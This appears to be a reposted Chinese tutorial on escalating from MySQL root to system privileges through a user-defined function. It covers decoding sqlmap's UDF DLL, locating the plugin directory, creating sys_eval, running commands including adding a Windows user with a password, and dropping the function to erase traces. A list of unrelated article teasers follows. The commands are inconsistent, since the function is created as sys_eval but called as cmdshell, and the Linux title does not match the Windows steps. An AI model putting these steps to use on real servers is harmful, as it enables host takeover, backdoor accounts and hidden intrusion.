linux下 udf提权_mysql——udf提权

01

前言

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

02

思路

1.将udf文件上传到指定位置

sqlmap中有现成的udf文件,有linux版本和windows版本分为32位和64位,一定要选择对应系统的对应版本版本,否则会显示:Can‘t open shared library ‘udf.dll‘。尤其要注意

    sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

    sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

python ./cloak.py -d -i  sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

会在当前目录下生成一个解锁后的lib_mysqludf_sys.dll

通过以下命令查看mysql的运行环境

show  variables like '%version%';

be9739f86c266ad99b40b430d5f1f8ff.png

show variables like '%compile%';

fbf5c76df72b957a54294ce5326a7e4d.png

或者

select @@version_compile_machine;

e0167a57d800c4411c66a56ee85ce136.png

可以判断是在64为的cpu上运行了win32的系统,因此我们的mysql程序也是32位的。在使用udf.dll文件时应该使用windows系统下32位的文件

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

有了udf文件,接下来就是利用各种办法上传到网站指定目录下 

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

通过以下命令查看mysql版本

select @@version;

select version();

4c1b9420c3064dd7171786c05b3ffbe5.png

根据不同的版本号,将udf.dll文件上传到对应的目录下。

本人所测试的mysql版本是5.5.53因此需要将udf.dll文件上传到mysal/lib/plugin目录下;

可以通过以下命令查看plugin文件夹的绝对路径:

select @@plugin_dir;

9666435fd1536e5b6af452cf3bbabe06.png

本次只讨论udf提权,上传过程忽略

create function sys_eval returns string soname 'udf.dll';

e039013189cd6637a07c7ca04af16a9f.png

select cmdshell ('whoami');

1bb1dfff4beab01f8358acc72fe1ce0d.png

select cmdshell ('net user aaa abc123!@# /add');

b055124d7fdbff27b62b78a8e33097ac.png

消除痕迹

drop function sys_eval;

c305b7571a153b7f9d8e895a91458d52.png

3f5c185b2884ac7a319f83db931f9681.png

222d73cc006b090ed75ff95f5e142bd7.png

扫码关注

微信号:JIANJIEXX_

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/506625.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件测试工资高还是运维高,IT行业的6大热门岗位,薪酬都有多高?

IT行业作为当今发展前途最大的几大行业之一&#xff0c;获得了前所未有的广泛关注&#xff0c;且随着科技的发展&#xff0c;这一趋势将更加明显。但是&#xff0c;对于IT行业新人来说&#xff0c;想要在IT行业有所建树&#xff0c;首先应该选择适合的职位。那么IT行业究竟有哪…

卡内基梅隆大学和斯坦福计算机,卡内基梅隆大学并列全美榜首的专业--计算机专业...

不同于别的计算机系的是&#xff0c;卡内基梅隆大学计算机学院异常庞大&#xff0c;专业设置异常众多&#xff0c;要了解清楚确实不易。根据多年的申请经验对卡内基梅隆大学计算机学院进行深层解答。专业排名卡内基梅隆大学在美国排名23名&#xff0c;但是卡内基梅隆大学计算机…

usb扩展坞同时接键盘鼠标_笔记本扩展伴侣,轻松解决接口烦恼,毕亚兹USB-C扩展坞体验...

俗话说&#xff0c;鱼和熊掌不可兼得。生活工作中的数码产品也同样如此&#xff0c;就拿日常工作学习必备的笔记本产品来说&#xff0c;功能和便携同样是难以取舍。大家都知道&#xff0c;伴随近几年笔记本轻量化和高功能的发展&#xff0c;笔记本在接口方面也发生了很大的变化…

css设置 ul的内外边距,9月3日学习CSS选择器,背景设置,及内外边距知识总结

实例html>选择器p:nth-of-type(2) {background-color: crimson;}猪哥朱老师西门大官人欧阳克潘金莲运行实例 点击 "运行实例" 按钮查看在线实例演示:padding 对盒子大小的影响与解决方案&#xff01;在下面html文档中&#xff0c;div包含了一张像素为200px的图片&…

python一些简单操作_python列表的基本操作有哪些

python列表的基本操作有&#xff1a;1、创建列表&#xff0c;只要把逗号分隔的不同的数据项使用方括号括起来&#xff1b;2、添加新的元素&#xff1b;3、遍历列表&#xff1b;4、访问列表中的值&#xff1b;5、从list删除元素。相关免费学习推荐&#xff1a;python教程(视频)p…

国外ipv6服务器网站,国外 ipv6 服务器地址

国外 ipv6 服务器地址 内容精选换一换安全组创建后&#xff0c;您可以在安全组中设置出方向、入方向规则&#xff0c;这些规则会对安全组内部的云服务器出入方向网络流量进行访问控制&#xff0c;当云服务器加入该安全组后&#xff0c;即受到这些访问规则的保护。入方向&#x…

与context的关系_你还不知道 OpenGL ES 和 EGL 的关系?

什么是 EGLEGL 是 OpenGL ES 和本地窗口系统(Native Window System)之间的通信接口&#xff0c;它的主要作用&#xff1a;与设备的原生窗口系统通信&#xff1b;查询绘图表面的可用类型和配置&#xff1b;创建绘图表面&#xff1b;在OpenGL ES 和其他图形渲染API之间同步渲染&a…

ivew 的ajax,iView-Upload组件分析

源码分析xhr相关知识点Ajax要点分析拖拽事件以及粘贴事件具体实现总结xhr相关知识点XMLHttpRequest.upload 属性返回一个 XMLHttpRequestUpload对象&#xff0c;用来表示上传的进度。通过onprogress属性进行监听,是在 XMLHttpRequest 完成之前周期性调用的函数。xhr.upload.onp…

安装thymeleaf 插件_史上最详细的WordPress安装教程(四):安装mysql 5.7

安装mysql添加源rpm -Uvh http://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm#或wget http://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpmrpm -ivh mysql57-community-release-el7-9.noarch.rpm安装yum -y install mysql-community-ser…

域名与网页服务器的什么对应,简述网站从域名到网页的访问流程

简述网站从域名到网页的访问流程时间&#xff1a;2019-12-301384 次浏览大家对上网并不陌生&#xff0c;不管是IT人士还是普通大众&#xff0c;不管用电脑还是手机&#xff0c;上网已变成大家生活中的一部分。什么是上网&#xff1f;简单点讲就是打开网页&#xff0c;说的详细一…

通过思科构造局域网_cisco设备构建典型局域网

典型局域网----三层交换机VLAN间路由和DHCP配置综合实验作者&#xff1a;Jason_Chenxz日期&#xff1a;2009.8.21内容&#xff1a;在一个典型局域网中实现三层交换机VTP、VLAN创建、VLAN间路由、上联设置以及DHCP服务&#xff0c;为各个VLAN分配IP地址、保留部分地址用于手动分…

分布式系统主从服务器,基于主从服务器的分布式存储系统的设计与实现

摘要&#xff1a;随着计算机网络,特别是Internet的迅猛发展,传统的信息系统概念发生了巨大的变化,基于网络的分布式信息系统在各个领域得到了广泛的应用,在整个社会生活中正发挥着日益突出的作用。Internet已经越来越多地成为构建信息系统的一个关键组成部分。如何在更为广域和…

中山大学曾兆阳_2010—2011学年度中山大学信科院优秀学生奖学金评选结果名单...

院系&#xff1a;信息科学与技术学院一等奖&#xff1a;获奖人数&#xff1a;沈招益姚良超张华张艺腾张起彤马楠熠刘宇熙陈水明赵钦耀张永福程嘉朗赖沛骏陈锦浩林舟驰林庆忠张嘉方晓敏符昊明薛政陈铮涛邓子恒刘冶马俊铖黄哲刘宸亨黄奕丰何浩汪翔郑东学章小强黄晓月二等奖&#…

如何修改7 服务器配置,centos7修改服务器配置

centos7修改服务器配置 内容精选换一换简要介绍Oases是一个转录组组装器&#xff0c;旨在没有任何基因组组装的情况下从短读测序技术生成转录本。开发语言&#xff1a;C一句话描述&#xff1a;基因组装软件开源协议&#xff1a;GPL 3.0建议的版本建议使用版本为最新版本&#x…

常用英雄胜率怎么刷_单排刷英雄胜率或者炸鱼方法。

适用对象&#xff1a;想刷英雄胜率又找不到车队一起刷的&#xff0c;亦或者单纯想炸鱼娱乐一下。适用英雄&#xff1a;有神装二打五终结比赛能力的射手&#xff0c;打野以及部分战士英雄&#xff0c;并且个人水准能使用以上英雄打上王者。准备工具&#xff1a;两个微信or qq号&…

贴纸效果_(新)AE插件:时尚印刷贴纸效果动画帽子眼镜胡须嘴唇图标社交标题库(3001)...

如何获取 | 点击底部“阅读原文”获取▎ 素材说明Live Stickers库为您提供无限的机会&#xff01;除了动画贴纸外&#xff0c;在项目中&#xff0c;您还将找到许多其他类别。外观类别包括眼睛情感&#xff0c;面具(如Snapchat应用程序中的面具)&#xff0c;凉爽的帽子&#xff…

逆向so_安卓逆向 | 分析调试与so调用实战

声明&#xff1a;本教程用于学习交流&#xff0c;如有侵权联系本人删除&#xff01;点击上方“逆向小白”&#xff0c;选择“加为星标”第一时间关注逆向技术干货&#xff01;使用fiddler抓取某app登录接口的时候&#xff0c;没有看到任何相关的数据包&#xff0c;猜测app做了防…

ide打开项目运行和调试按钮都是灰色的_如何开发一个IDE

IDE对于语言来说非常重要&#xff0c;让新手能更快入门&#xff0c;让老手能有更高的开发效率。所以我摸索着开发了Fanx语言的IDE。这里分享一些IDE内部工作原理和经验。IDE和编译器IDE为了实现功能&#xff0c;需要对源码进行解析。经过词法分析、语法分析、语义分析。相当于编…

电容的q值计算公式_在设计电路中电容容量大小、耐压等级选取详解 (转)

原文链接&#xff1a;在设计电路中电容容量大小、耐压等级选取详解 作者:张飞电容的计算 我们对电容的计算&#xff0c;目的是要知道&#xff0c;我们在电路中需要一个多大的电容。为什么要需要这么个电容&#xff1f;它的电压要多高&#xff1f;它的容量要多大&#xff1f;这是…

一个显示器分两个屏幕_桌面改造计划2.0:一个显示器不够那就两个,桌面好物分享...

日常生活节奏快&#xff0c;工作压力大应该目前年轻人的共识。为了适应快节奏的生活&#xff0c;使得大家往往不得不接受996或者997甚至更长的工作时间。而随着更长的工作时间也导致大家在电脑显示器前的时间更长&#xff0c;从而带来更多的不良影响&#xff0c;这两年过劳死的…